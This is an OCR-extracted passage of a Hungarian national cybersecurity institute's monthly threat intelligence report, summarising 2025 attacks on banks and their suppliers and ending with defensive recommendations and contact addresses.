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A bank szektort érinté tdmaddsok skaldja tovdabbra is szélesedik: a Distributed Denial-of-
Service (DDoS) tdmaddsok tovdbbra is gyakoriak a célzottan pénzigyi infrastruktirdk
ellen, idénként geopolitikai eseményekhez kétédve, mikdzben a social engineering
alapy kampdnyok és adathaldsz tdmaddsok tovabbra is a leggyakoribb kezdeti
belépési vektorok kodzé tartoznak. Az ENISA Threat Landscape: Finance Sector
jelentésének32adatai szerint az eurdpai incidensek mintegy 46%-a bankokat érint, ami azt
mutatja, hogy a pénzigyi intfézmények tovdbbra is kiemelt célpontok a fenyegetd

szereplék szdmdra.

A Marquis Software Solutions elleni ransomware tdmadds, kdzvetve 74 banki/credit union
szervezet adatait érintette, és emiatt komoly biztonsdgi aggdlyokat vetett fel az
iparadgban: a tadmadast 2025. augusztusdban azonositottdk, de az esettel kapcsolatos
hiranyagok decemberben is jelentds figyelmet kaptak, mivel a kdvetkezmények és
nyilvanos informdaciok mult hénap elején kerlltek be a szakmai hircsatorndkba. A
tdmadds sordn kompromittdldsra kerUlt a szolgdltatd sebezhetdséget tartalmazd
SonicWall t0zfala, majd tébb mint 400 000 felhaszndld adatait loptdk el, amelyek 74
bankhoz és hitelintézethez kdtédnek. A kompromittdlt informdciok kdzott személyes
adatok (név, cim, SSN, banki adatok) is szerepelnek, ami azt mutatja, hogy ez nem
pusztan egy technikai incidens volt, hanem érzékeny pénzigyi adatok kikerUlésével jard

biztonsdgi esemény a banki ellatdsi ldnc szintjén.

Mdasik sulyos adatvedelmi incidenst szenvedett el mult honapban a SitusAMC (pénzigyi
szolgdltatdsokat nyujtdé cég), amely szdmos amerikai nagybankkal (tobbek kdzdtt a
Morgan Stanley, Citi, vagy éppen a Chase) dll kapcsolatban. Az esemény sordn
ismeretlen tdmadok hozzdfértek az Ugyfelek sajat, valamint szerzédéseikhez kapcsolddd

adatokhoz is.

A szakérték mindkét esetben kiemelték, hogy bdr maga a bankiinfrastruktira kdzvetlendl

nem szenvedett el tdmaddst, az Uzemeltetd szolgdltatdkon keresztll térténd adatvesztés

32 https://www.enisa.europa.eu/sites/default/files/2025-02/Finance%20TL%202024 Final.pdf

2025. december o



https://www.enisa.europa.eu/sites/default/files/2025-02/Finance%20TL%202024_Final.pdf

Havi CTl riport

sUlyos hatdssal lehet a bankok biztonsagi profiljgra, ezért szikséges a szektor

biztonsdgdnak megerdsitése.

Ugyanakkor, ha visszatekintink az év kdzepére, 2025. jUniusdban a Bank Sepah, Irdn
egyik dllami tulajdonU bankja kibertdmadds észlelése miattsd  tébb  digitdlis
szolgdltatdsban is tapasztalt sulyos muUkddési zavarokat, beleértve az online banki
hozzaférést, ATM kiszolgdlds és tranzakcidk elérnetéségét is, amely azt eredményezte,
hogy az intézmény ideiglenesen offline dllapotba kerllt és az Ugyfelek nem tudtdk
haszndini a szolgdltatdsokat. A tdmaddst a Gonjeshke Darande (vagy “Predatory
Sparrow”) hackercsoport vdllalta magdra, amely adatmegsemmisitést illetve komoly

adatvesztést is dllit az eseménnyel kapcsolatban.

Az NKI (Nemzeti Kiberbiztonsdgi Intézet) weboldala folyamatosan frissitett riasztdsokat,
sérUlékenységi értesitéseket, valamint gyakorlati Utmutatdkat nyuljt a kiberbiztonsagi
helyzet értelmezéséhez, és hatékony védekezési tandcsokat biztosit kUldnb 6z szektorok
szamdara. Kiemelten javasoljuk az aktivan kihaszndltként megjeldlt sebezhetdségeket

tartalmazé szoftverek lehetd leggyorsabb frissitését.

A vizsgdilt idészakban tapasztalt eseményekkel kapcsolatban, az Idthatd, hogy tovablbra

is a pszicholdgiai manipuldcids (social engineering) tipusu tdmaddk nagyon népszer(ek.

A magdt megbizhatd személynek bedllitd tdmadok, hivatalosnak tUnd, de kdzben kdros
kédot tartalmazd féként e-mailben kUldott dokumentumok, érvénytelen aldirdssal
rendelkezd szoftverek ellen a leghatékonyabb védekezés a felhaszndldi tudatositds,
melynek keretében nagymértékben ndvelhetd az ilyen tdmaddsok elleni védekezési

képesség.

Javasoljuk a hatdrvédelmi eszkdzdk és szoftverek — pelddul tdzfalak, tavoli hozzdférést
biztositd megolddsok (példaul MDM rendszerek) valamint az e-mail szlrést végzd

termékek, ideértve a spamkarantént is - naprakészen tartdsdt. Ezeknek az eszkdzdknek a

33 https://www.reuters.com/world/middle-east/suspected-israeli-hackers-claim-destroy-data-irans-bank-sepah-

2025-06-17/
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kompromittaloddasa sulyos biztonsdgi kockdzatot jelenthet, mivel az esetleges tdmadodk

ezen keresztUl kdnnyen hozzdférhetnek a szervezet belsé haldzati szegmenseinez.

lpari vezérlérendszereket Uzemeltetd partnereink sz&mdra kiemelten javasoljuk, hogy
kerUligk az internet feldli, védtelen elérések kialakitdsdat. Emellett fontos, hogy
rendszeresen ellendrizzék az érintett eszkdzok biztonsagi frissitéseinek elérhetdségét, és
azok telepitését haladéktalanul végezzék el. Ezzel jelentésen csdkkenthetd a kilsé

fenyegetésekkel szembeni sérUlékenység.
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Kérdés esetén keressen
Mminket az aldbbi
elérhetéségeink egyikén!

Altalanos kérdések esetén:
titkarsag@nki.gov.hu

Hatosagi kérdések esetén:
hatosag@nki.gov.hu

Incidensbejelentéssel kapcsolatos
kérdések esetén:

csirt@nki.gov.hu

A riporttal kapcsolatos kérdések esetén:
cyberthreat@nki.gov.hu



